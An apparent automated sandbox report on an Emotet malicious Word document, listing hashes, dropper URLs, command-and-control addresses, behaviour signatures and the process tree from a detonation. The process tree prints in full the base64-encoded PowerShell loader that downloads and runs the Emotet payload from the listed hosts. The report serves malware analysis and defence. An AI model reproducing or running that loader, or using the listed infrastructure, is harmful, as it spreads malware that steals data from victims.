Analysis

  • max time kernel
    135s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    25/08/2020, 10:05

General

  • Target
    emotet_e3_39a4da12007d3a73efbe9b353f427d9e9797a4afb2127c1f4d1952fa816686b2_2020-08-25__100416._doc.doc
  • Size 241KB
  • Sample200825-kd5cm67qxe
  • SHA256 39a4da12007d3a73efbe9b353f427d9e9797a4afb2127c1f4d1952fa816686b2
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://www.luxelistreviews.com/wp-includes/AYR/

  • exe.dropper

    https://www.yhyhzx.com/wp-admin/pKpz/

  • exe.dropper

    http://mediadrive.nichost.ru/awfcatfre/9thw57489/

  • exe.dropper

    http://kumarpratham.com/fonts/Wtuq/

  • exe.dropper

    http://fxea.club/wp-includes/mPqJMPzx/

  • exe.dropper

    https://xiangfu.phjrt.com/0qeoy/voB355f13v2j475/

  • exe.dropper

    https://www.batamry.com/tmp/baeng79095371/

Extracted

Family
  • emotet

C2
  • 189.39.32.161:80

  • 85.25.207.108:8080

  • 185.86.148.68:443

  • 75.127.14.170:8080

  • 220.254.198.228:443

  • 81.214.253.80:443

  • 105.209.235.113:8080

  • 185.208.226.142:8080

  • 177.144.130.105:443

  • 178.33.167.120:8080

  • 86.57.216.23:80

  • 143.95.101.72:8080

  • 192.241.220.183:8080

  • 78.189.60.109:443

  • 179.62.238.49:80

  • 190.212.140.6:80

  • 188.251.213.180:443

  • 37.46.129.215:8080

  • 190.164.75.175:80

  • 190.53.144.120:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_39a4da12007d3a73efbe9b353f427d9e9797a4afb2127c1f4d1952fa816686b2_2020-08-25__100416._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1756
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABNAHIAcgAzADEAbQBfAD0AKAAnAFYAeQAnACsAJwBzAGQANwBrAGsAJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBOAHYAOgB0AEUAbQBwAFwAbwBmAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAGMAYABVAGAAUgBpAFQAWQBgAFAAUgBPAHQAYABPAGMAbwBMACIAIAA9ACAAKAAnAHQAbABzACcAKwAnADEAMgAnACsAJwAsACAAdAAnACsAJwBsAHMAMQAxACwAIAB0AGwAcwAnACkAOwAkAEYAagBxAGsAdwBfAGwAIAA9ACAAKAAnAEMAMwBiAGMAJwArACcAMwAnACsAJwBhAHYAJwArACcANQBpACcAKQA7ACQATAA3AGsANwBqADcAZwA9ACgAJwBGAHgAJwArACcAZwB3ADMANABtACcAKQA7ACQARABsADUAZQBkAGMANgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAwAH0ATwBmACcAKwAnAGYAJwArACcAaQBjAGUAMgAnACsAJwAwADEAOQB7ADAAfQAnACkAIAAtAEYAIAAgAFsAYwBoAEEAUgBdADkAMgApACsAJABGAGoAcQBrAHcAXwBsACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABIAHAAdQAyAGcAOQBfAD0AKAAnAEUANQAnACsAJwA5AGkAaAAnACsAJwByADcAJwApADsAJABMAHIAaQBnAG8AdwBmAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAHcARQBiAGMATABpAGUAbgB0ADsAJABYAGMAbgB5AGUAMgBnAD0AKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwArACcAdwB3ACcAKwAnAHcALgBsAHUAeABlAGwAaQAnACsAJwBzACcAKwAnAHQAJwArACcAcgBlAHYAJwArACcAaQBlAHcAcwAuAGMAbwAnACsAJwBtAC8AdwAnACsAJwBwAC0AaQAnACsAJwBuAGMAbAB1AGQAJwArACcAZQBzAC8AJwArACcAQQBZACcAKwAnAFIALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwAnACsAJwA6ACcAKwAnAC8ALwAnACsAJwB3ACcAKwAnAHcAdwAuAHkAaAB5ACcAKwAnAGgAegB4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQAnACsAJwBpAG4ALwAnACsAJwBwAEsAcAB6AC8AJwArACcAKgBoAHQAdAAnACsAJwBwADoALwAvACcAKwAnAG0AZQBkAGkAJwArACcAYQBkACcAKwAnAHIAJwArACcAaQB2ACcAKwAnAGUALgBuAGkAYwAnACsAJwBoAG8AJwArACcAcwB0AC4AcgB1AC8AYQAnACsAJwB3AGYAYwBhAHQAJwArACcAZgAnACsAJwByAGUALwA5AHQAJwArACcAaAB3ADUAJwArACcANwA0ADgAOQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6AC8AJwArACcALwBrAHUAbQAnACsAJwBhAHIAJwArACcAcAByAGEAdABoAGEAbQAnACsAJwAuACcAKwAnAGMAbwBtAC8AZgAnACsAJwBvAG4AdABzAC8AVwAnACsAJwB0AHUAcQAnACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAJwArACcAcAA6ACcAKwAnAC8ALwBmAHgAZQBhAC4AYwBsAHUAJwArACcAYgAvAHcAcAAtAGkAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKwAnAG0AJwArACcAUABxAEoATQBQAHoAJwArACcAeAAvACcAKwAnACoAaAB0AHQAcABzADoAJwArACcALwAnACsAJwAvAHgAaQAnACsAJwBhAG4AZwAnACsAJwBmAHUALgBwAGgAagByAHQALgBjACcAKwAnAG8AbQAvACcAKwAnADAAcQBlACcAKwAnAG8AeQAvACcAKwAnAHYAbwBCADMANQA1AGYAMQAzAHYAJwArACcAMgBqACcAKwAnADQANwA1AC8AKgBoAHQAdABwAHMAOgAnACsAJwAvAC8AJwArACcAdwB3AHcALgBiAGEAJwArACcAdAAnACsAJwBhAG0AcgB5AC4AJwArACcAYwAnACsAJwBvACcAKwAnAG0ALwB0AG0AJwArACcAcAAvACcAKwAnAGIAJwArACcAYQBlACcAKwAnAG4AZwAnACsAJwA3ADkAMAA5ACcAKwAnADUAMwA3ACcAKwAnADEAJwArACcALwAnACkALgAiAFMAcABsAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBvADkAZQA4ADkAbwA9ACgAJwBYADgAZAAnACsAJwB4ACcAKwAnAHcAcgBhACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFcAcwAwAHoAZQB4AG4AIABpAG4AIAAkAFgAYwBuAHkAZQAyAGcAKQB7AHQAcgB5AHsAJABMAHIAaQBnAG8AdwBmAC4AIgBkAG8AVwBgAE4AYABMAG8AQQBEAGAARgBJAEwAZQAiACgAJABXAHMAMAB6AGUAeABuACwAIAAkAEQAbAA1AGUAZABjADYAKQA7ACQAVABlADEAZgBqAHIAZgA9ACgAJwBYACcAKwAnAHgAegAnACsAJwBxADkAOQAzACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABEAGwANQBlAGQAYwA2ACkALgAiAEwAZQBuAGAAZwBgAFQAaAAiACAALQBnAGUAIAAzADQANAAwADkAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUALQBJAHQAZQAnACsAJwBtACcAKQAoACQARABsADUAZQBkAGMANgApADsAJABOAGMAbgA3AGkAMgBuAD0AKAAnAFkANgBqADYAbQAnACsAJwBiADEAJwApADsAYgByAGUAYQBrADsAJABTAHMAZAAyADIAbgBjAD0AKAAnAEwAaQAnACsAJwBrACcAKwAnAGkAMAB6ADAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKADgAZABwAHkAbgBzAD0AKAAnAEoAZQBtAHgANwAnACsAJwB4AHUAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3140
    • C:\Users\Admin\AppData\Local\Temp\Office2019\C3bc3av5i.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\C3bc3av5i.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1016
      • C:\Windows\SysWOW64\SearchFilterHost\AppExtension.exe
        "C:\Windows\SysWOW64\SearchFilterHost\AppExtension.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1376

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1016-13-0x0000000002740000-0x000000000274C000-memory.dmp

        memory/1376-16-0x00000000006C0000-0x00000000006CC000-memory.dmp

        memory/1756-4-0x000001E8A8B4C000-0x000001E8A8B55000-memory.dmp

        memory/1756-6-0x000001E8A8B4C000-0x000001E8A8B55000-memory.dmp

        memory/1756-5-0x000001E8A8B4C000-0x000001E8A8B55000-memory.dmp

        memory/1756-0-0x00007FFA40B00000-0x00007FFA411C6000-memory.dmp

        memory/1756-3-0x000001E8A8B4C000-0x000001E8A8B55000-memory.dmp

        memory/1756-2-0x000001E8A8B4C000-0x000001E8A8B55000-memory.dmp

        memory/1756-1-0x000001E8A8B32000-0x000001E8A8B35000-memory.dmp

        memory/3140-8-0x00000168F4700000-0x00000168F4701000-memory.dmp

        memory/3140-9-0x00000168F4F50000-0x00000168F4F51000-memory.dmp

        memory/3140-7-0x00007FFA38960000-0x00007FFA3934C000-memory.dmp